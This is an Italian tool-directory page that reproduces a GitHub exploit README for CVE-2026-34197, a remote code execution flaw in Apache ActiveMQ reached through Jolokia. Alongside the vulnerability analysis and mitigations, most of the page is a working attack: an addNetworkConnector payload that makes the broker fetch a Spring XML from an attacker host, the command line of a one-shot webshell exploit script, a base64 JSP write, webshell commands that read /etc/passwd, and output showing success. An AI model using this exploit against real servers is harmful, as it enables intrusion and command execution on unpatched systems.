Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-34197 — Apache ActiveMQ RCE tramite Jolokia: analisi della vulnerabilità e note di riproduzione | Kitploit
Strumenti/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ RCE tramite Jolokia: analisi della vulnerabilità e note di riproduzione

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
63 mesi faNon ancora revisionato
Condividi

CVE-2026-34197 - RCE di Apache ActiveMQ via Jolokia

1. Panoramica

ElementoDettagli
ID CVECVE-2026-34197
CVSS8.8 (ALTO)
Tipo di vulnerabilitàEsecuzione di codice remoto (RCE)
CWECWE-20 Validazione non corretta degli input / CWE-94 Iniezione di codice
Componente interessatoApache ActiveMQ Classic - Ponte JMX-HTTP di Jolokia
Versioni interessate< 5.19.4 e 6.0.0 fino a 6.2.2
Versioni corrette5.19.4 / 6.2.3
Data di divulgazione2026-04-07
AutenticazioneRichiesta per impostazione predefinita, comunemente admin:admin. Le versioni 6.0.0-6.1.1 potrebbero essere raggiungibili senza autenticazione se combinate con CVE-2024-32114.
ScopertaSegnalata come ricerca assistita da IA da Anthropic Claude, dopo essere stata presente per circa 13 anni.

2. Causa principale

2.1 Catena di attacco

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 Condizioni chiave

  1. Esposizione dell'API Jolokia - La console web di ActiveMQ espone /api/jolokia/, fornendo accesso JMX su HTTP.
  2. Allowlist MBean troppo ampia - La correzione della CVE-2022-41678 ha introdotto un'allowlist che consente operazioni estese su org.apache.activemq:*, inclusa addNetworkConnector.
  3. Configurazione remota del trasporto VM - Il parametro brokerConfig del trasporto vm:// può puntare a un XML Spring remoto e l'istanziazione del bean avviene prima che la configurazione venga rifiutata.

2.3 Comportamento della correzione

ActiveMQ 6.2.3 ha aggiunto la validazione all'interno di addNetworkConnector() per rifiutare gli URI di trasporto vm://:

root@kitploit:~
"error": "VM scheme is not allowed"

3. Riproduzione

3.1 Ambiente

ElementoDettagli
Host dell'attaccantemacOS con OrbStack Docker
Immagine targetalfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Utente di runtimeamq (uid=33031)
Sistema operativo di baseRocky Linux 8.9

3.2 Passaggi

Passaggio 1: Avvia il laboratorio

root@kitploit:~
cd upstream-poc
docker compose up -d

Passaggio 2: Verifica l'API Jolokia

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

Una risposta con status: 200 conferma che Jolokia è raggiungibile.

Passaggio 3: Esegui l'exploit e scrivi una webshell

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

Lo script esegue le seguenti azioni:

  1. Controlla l'API Jolokia.
  2. Scopre il nome del broker.
  3. Rimuove un NetworkConnector esistente chiamato NC per rendere affidabili i test ripetuti.
  4. Avvia un server HTTP locale che serve un payload XML Spring dannoso. La webshell JSP è incorporata come base64, quindi il target deve solo recuperare l'XML una volta.
  5. Invia una richiesta addNetworkConnector per attivare il percorso di codice vulnerabile.
  6. Verifica che la webshell sia stata scritta correttamente.

Passaggio 4: Usa la webshell

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 Esempio di output

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Confronto tra versioni

VersioneImmagineRisposta di JolokiaRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCRiuscita come uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCRiuscita come uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedCorretto

5. Note sullo sfruttamento e limitazioni

5.1 Sfruttamento ripetuto

addNetworkConnector() registra un connettore chiamato NC. Una seconda registrazione fallisce con un conflitto di denominazione JMX e restituisce un errore 500. Lo script gestisce questo chiamando removeNetworkConnector("NC") prima di attivare l'exploit.

5.2 Scrittura della webshell

ActiveMQ usa Jetty incorporato, ma la directory webapps esiste su disco e il motore JSP compila i file .jsp appena scritti. Questo rende possibile la scrittura di una webshell nell'ambiente testato.

Il payload scrive la JSP usando base64 inline:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

Vantaggi:

  • Evita i problemi di parsing XML causati da caratteri speciali JSP come <, >, % e ".
  • Evita una seconda richiesta in uscita dal target per scaricare la JSP. Il target recupera solo il payload XML.

5.3 Requisito di rete in uscita

Il target deve essere in grado di raggiungere il server HTTP controllato dall'attaccante per recuperare il payload XML Spring. Se il target non ha una rotta in uscita verso l'attaccante, questo percorso di exploit non può essere completato.

5.4 Controllo dell'Origin di Jolokia

Le richieste dirette a Jolokia possono restituire 403 a causa dei controlli CORS. Includere un header Origin che corrisponda al target:

root@kitploit:~
Origin: http://TARGET:8161

6. File

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

Confronto degli script

ScriptScopoRequisito in uscitaWebshell
exploit_poc.pyPoC originale di RCE cieca che esegue un comando arbitrarioRichiestoNo
exploit_webshell.pyRCE riflessa one-shot tramite una webshell JSP scrittaRichiesto solo per il recupero dell'XMLScritta automaticamente con un nome di file casuale

7. Mitigazione

  1. Aggiornamento - Aggiornare ad ActiveMQ Classic 5.19.4+ o 6.2.3+.
  2. Limitare l'accesso a Jolokia - Limitare l'accesso alla porta 8161 con regole firewall o policy di rete.
  3. Disabilitare Jolokia - Se la gestione remota JMX non è necessaria, disabilitare l'API Jolokia in jetty.xml.
  4. Cambiare le credenziali predefinite - Sostituire le credenziali predefinite admin:admin.
  5. Limitare l'accesso in uscita - Impedire ad ActiveMQ di raggiungere risorse HTTP esterne non affidabili.

8. Riferimenti

  • Divulgazione Horizon3.ai: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Avviso di sicurezza Apache: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • Repository PoC originale: https://github.com/dinosn/CVE-2026-34197
Scarica lo strumento